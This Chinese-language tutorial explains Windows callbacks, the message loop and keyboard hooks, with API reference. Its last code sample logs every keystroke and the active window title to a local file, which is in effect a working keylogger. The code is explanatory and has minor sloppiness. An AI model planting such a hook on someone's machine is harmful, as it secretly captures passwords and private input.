赞
踩
如果你把函数的指针(地址)作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,我们就说这是回调函数。回调函数不是由该函数的实现方直接调用,而是在特定的事件或条件发生时由另外的一方调用的,用于对该事件或条件进行响应。
回调函数的机制如下:
Windows消息传递机制,当在应用程序进行相关操作,例如点击鼠标、按下键盘,操作窗口等,操作系统能够感知这一事件,接着把此消息放到系统消息队列,然后到应用程序的消息序列中,应用程序通过Getmessage函数取出消息,然后调用DispatchMessage函数将这条消息调度给操作系统,操作系统会调用在设计窗口类时指定的应用程序窗口对这一消息进行处理,处理过程如图所示:
对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
钩子的种类很多,每种钩子可以截获相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 中。
所以说,hook(钩子)就是一个Windows消息的拦截机制,可以拦截单个进程的消息(线程钩子),也可以拦截所有进程的消息(系统钩子),也可以对拦截的消息进行自定义的处理。Windows消息带了一些程序有用的信息,比如Mouse类信息,就带有鼠标所在窗体句柄、鼠标位置等信息,拦截了这些消息,就可以做出例如金山词霸一类的屏幕取词功能。
HHOOK SetWindowsHookExW(
[in] int idHook,//要安装的挂钩过程的类型
[in] HOOKPROC lpfn,//指向挂钩过程的指针
[in] HINSTANCE hmod,//DLL 的句柄,包含 lpfn 参数指向的挂钩过程
[in] DWORD dwThreadId//要与之关联的挂钩过程的线程的标识符。
//对于桌面应用,如果此参数为零,则挂钩过程与调用线程在同一桌面中运行的所有现有线程相关联。
);
说明:每当应用程序调用 GetMessage 或 PeekMessageA/PeekMessageW函数并且有键盘消息 (要处理的WM_KEYUP或WM_KEYDOWN时,系统都会调用此函数。
LRESULT CALLBACK KeyboardProc(
int code,//挂钩过程用于确定如何处理消息的代码。
WPARAM wParam,//生成 击键 消息的密钥的虚拟密钥代码
LPARAM lParam//重复计数、扫描代码、扩展键标志、上下文代码、以前的键状态标志和转换状态标志。
);
说明:将挂钩信息传递给当前挂钩链中的下一个挂钩过程。 挂钩过程可以在处理挂钩信息之前或之后调用此函数。
LRESULT CallNextHookEx(
HHOOK hhk,//忽略此参数,直接传NULL即可。
int nCode,//传递给当前挂钩过程的挂钩代码。 下一个挂钩过程使用此代码来确定如何处理挂钩信息
WPARAM wParam,//传递给当前挂钩过程的 wParam 值。 此参数的含义取决于与当前挂钩链关联的挂钩类型。
LPARAM lParam//传递给当前挂钩过程的 lParam 值。 此参数的含义取决于与当前挂钩链关联的挂钩类型。
);
说明:包含来自线程的消息队列的消息信息。
typedef struct tagMSG {
HWND hwnd;//其窗口过程接收消息的窗口的句柄。 当消息是线程消息时,此成员为 NULL 。
UINT message;//消息的标识符。 应用程序只能使用低字;高字由系统保留
WPARAM wParam;//关于消息的附加信息。 确切含义取决于 消息 成员的值。
LPARAM lParam;//关于消息的附加信息。 确切含义取决于 消息 成员的值。
DWORD time;//消息的发布时间
POINT pt;//发布消息时的光标位置(以屏幕坐标表示)
DWORD lPrivate;
} MSG, *PMSG, *NPMSG, *LPMSG;
说明:从调用线程的消息队列中检索消息,将消息存储在lpMsg当中。
BOOL GetMessage(
LPMSG lpMsg,//指向 MSG 结构的指针,该结构从线程的消息队列接收消息信息。
HWND hWnd,//要检索其消息的窗口的句柄。 窗口必须属于当前线程。
//如果 hWnd 为 NULL, 则 GetMessage 将检索属于当前线程的任何窗口的消息
UINT wMsgFilterMin,//要检索的最低消息值的整数值
UINT wMsgFilterMax//要检索的最高消息值的整数值
);
说明:将虚拟密钥消息转换为字符消息,字符消息将发布到调用线程的消息队列,以便下次线程调用 GetMessage 或 PeekMessage 函数时读取。
BOOL TranslateMessage(
[in] const MSG *lpMsg//指向 MSG 结构的指针
);
说明:将消息调度到窗口过程
LRESULT DispatchMessage(
const MSG *lpMsg//指向 MSG 结构的指针
);
说明:包含有关低级别键盘输入事件的信息
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;//虚拟密钥代码。 代码必须是 1 到 254 范围内的值。
DWORD scanCode;//密钥的硬件扫描代码。
DWORD flags;//扩展键标志、事件注入标志、上下文代码和转换状态标志。
DWORD time;//此消息的时间戳
ULONG_PTR dwExtraInfo;//与消息关联的其他信息
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
说明:用于检索表示键的名称的字符串。
注意:这里的lparam并不是KeyboardProc函数的参数lparam而是虚拟密钥代码,即KBDLLHOOKSTRUCT结构体的vkCode。
int GetKeyNameText(LONG lParam,//虚拟密钥代码 LPTSTR lpString,//将接收密钥名称的缓冲区 int nSize);//密钥名称的最大长度(以字符为单位),包括终止 null 字符。 (此参数应等于 lpString 参数指向的缓冲区的大小。) char szkeyName[100] = { 0 }; KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam; if (wParam == WM_KEYDOWN) { DWORD t = (kb->scanCode << 16) + (kb->flags << 24); int m = GetKeyNameTextA(t, szkeyName, 100);//获得键盘当中输入的某个按键的名称 if (m == 0) { MessageBox(NULL, L"按键值获得失败!", L"提示", NULL); } fwrite(szkeyName, 1, strlen(szkeyName), fp); }
#include <windows.h> #include <iostream> LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0 && wParam == WM_KEYDOWN) { KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam; std::cout << "按下了键: " << pKeyBoard->vkCode << std::endl; } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main() { HHOOK hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); if (hKeyboardHook == NULL) { std::cerr << "设置键盘挂钩失败,错误代码: " << GetLastError() << std::endl; return 1; } MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hKeyboardHook); return 0; }
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { HWND hWnd = GetForegroundWindow(); DWORD dwProcess; LRESULT result = 0; DWORD dwPID = GetWindowThreadProcessId(hWnd, &dwProcess); HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcess); WCHAR wszProcessPath[MAX_PATH] = { 0 }; DWORD dwSize = MAX_PATH; QueryFullProcessImageNameW(hProcess, 0, wszProcessPath, &dwSize); CHAR wszTitle[MAX_PATH] = { 0 }; result = GetWindowTextA(hWnd, wszTitle, MAX_PATH);//获得窗口名称 FILE* fp = fopen("Myfile.txt","a"); if (fp == NULL) { // MessageBox(NULL, L"文档创建失败!", L"提示", NULL); return CallNextHookEx(g_keyHook, code, wParam, lParam); } else { //MessageBox(NULL, L"文档创建成功!", L"提示", NULL); } if (lParam & 0x40000000) { return CallNextHookEx(g_keyHook, code, wParam, lParam); } if (code == HC_NOREMOVE || code < 0) { return CallNextHookEx(g_keyHook, code, wParam, lParam); } char szkeyName[100] = { 0 }; KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam; if (wParam == WM_KEYDOWN) { DWORD t = (kb->scanCode << 16) + (kb->flags << 24); int m = GetKeyNameTextA(t, szkeyName, 100);//获得键盘当中输入的某个按键的名称 if (m == 0) { MessageBox(NULL, L"按键值获得失败!", L"提示", NULL); } fwrite(szkeyName, 1, strlen(szkeyName), fp); } fwrite("\t", 1, 2, fp); fwrite(wszTitle, 1, strlen(wszTitle), fp);//将窗口名称写入文件 fwrite("\r\n", 1, 2, fp); fclose(fp); return CallNextHookEx(g_keyHook, code, wParam, lParam); }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。